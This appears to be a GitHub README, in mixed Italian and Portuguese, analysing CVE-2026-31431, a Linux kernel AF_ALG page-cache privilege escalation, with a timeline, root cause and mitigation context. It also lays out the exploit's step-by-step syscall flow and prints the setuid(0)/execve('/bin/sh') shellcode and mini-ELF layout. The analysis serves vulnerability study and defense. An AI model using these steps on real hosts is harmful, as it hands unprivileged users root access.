darioomatos/cve-2026-31431-copyfailAnalisi didattica di CVE-2026-31431, una escalation locale dei privilegi nel kernel Linux tramite l'operazione in-place di AF_ALG AEAD, inclusi causa tecnica di base, rilevamento e mitigazione.
Analisi tecnica educativa di una delle vulnerabilità più significative del kernel Linux dai tempi di Dirty Pipe (2022).
Questo repository è dedicato a ricerca, studio e difesa. Nessun exploit funzionante viene distribuito qui.
CVE-2026-31431, soprannominata Copy Fail, è una vulnerabilità di escalation locale dei privilegi (LPE — Local Privilege Escalation) nel kernel Linux. Consente a qualsiasi utente senza privilegi di ottenere accesso root in pochi secondi.
| Attributo | Valore |
|---|---|
| CVE | CVE-2026-31431 |
| Punteggio CVSS | 7.8 HIGH |
| Tipo | Local Privilege Escalation (LPE) |
| Sottosistema | crypto/algif_aead.c — AF_ALG |
| Introdotta in | Kernel 4.14 (commit 72548b093ee3, luglio 2017) |
| Corretta in | 6.18.22 / 6.19.12 / 7.0 (commit a664bf3d603d) |
| Scoperta da | Taeyang Lee — Theori / Xint Code |
| Divulgazione pubblica | 29 aprile 2026 |
| PoC pubblico | Sì — script Python di ~732 byte |
Immagina che il sistema operativo abbia una memoria di lavoro (chiamata page cache) in cui conserva copie dei file in uso. Quando esegui un programma, il sistema carica quel programma in questa memoria e lo esegue da lì — non direttamente dal disco.
Copy Fail consente a un utente comune di modificare questa copia in memoria di un programma speciale (un binario setuid, come il comando su) senza toccare il file originale sul disco. Il file sul disco rimane intatto, ma quando il programma viene eseguito, il sistema legge la versione corrotta dalla memoria.
È come sostituire la ricetta di un piatto nella memoria di uno chef mentre sta cucinando — il libro di ricette originale non cambia, ma il piatto che esce è completamente diverso.
Il risultato: il programma corrotto esegue codice dell'attaccante con permessi di root.
Ciò che lo rende particolarmente pericoloso:
2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)
2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos
2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)
2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017
2026 Abr 22 → CVE-2026-31431 atribuída
2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação
2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos
---
## Come funziona tecnicamente
### Panoramica del flusso```
Atacante (usuário sem privilégios)
│
├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
│ Cria socket de criptografia no kernel
│ bind: "authencesn(hmac(sha256),cbc(aes))"
│
├─ 2. setsockopt: define chave AEAD + authsize=4
│
├─ 3. accept() → op_socket
│
├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
│ AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
│
├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
│ CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
│ As páginas do arquivo agora estão no destino GRAVÁVEL da operação
│
├─ 6. recv() → dispara o authencesn
│ authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
│ Escreve 4 bytes em dst[assoclen + cryptlen]
│ = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
│ HMAC falha → retorna EBADMSG → IGNORADO
│
└─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
Executa o binário alvo → root shell
Il bug risiede in crypto/algif_aead.c. Nel 2017, l'operazione AEAD è stata convertita in in-place per guadagnare prestazioni:```c
// Antes (seguro): req->src e req->dst são scatterlists separadas
// Depois (bugado, commit 72548b093ee3):
req->src = req->dst; // mesma scatterlist para entrada e saída
// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA
L'algoritmo `authencesn` usa il buffer di destinazione come *scratch space* per riorganizzare i byte dell'Extended Sequence Number (ESN) dell'IPsec:```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// offset que ultrapassa o output buffer
// e cai nas páginas do page cache encadeadas
La scrittura bypassa completamente il VFS. La pagina modificata non viene mai marcata come dirty dal meccanismo di writeback del kernel. Il file su disco rimane intatto. Gli strumenti di integrità basati su hash (aide, tripwire, inotifywait) non rilevano nulla perché monitorano il disco, non la page cache.
L'exploit incorpora un mini-ELF di 160 byte compresso con zlib. Dopo la decompressione, la parte eseguibile è:```nasm ; Offset 0x78 no arquivo ELF (entry point)
xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root
lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)
; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)
bin_sh: db "/bin/sh", 0
**Struttura dell'ELF minimo (160 byte totali):**```
Offset 0x00–0x3F → ELF64 Header (64 bytes)
e_type=ET_EXEC, e_machine=EM_X86_64
e_entry=0x400078, e_phnum=1
Offset 0x40–0x77 → Program Header PT_LOAD (56 bytes)
p_flags=PF_R|PF_X, p_vaddr=0x400000
p_filesz=0x9e
Offset 0x78–0x9D → Shellcode (26 bytes código + "/bin/sh\0")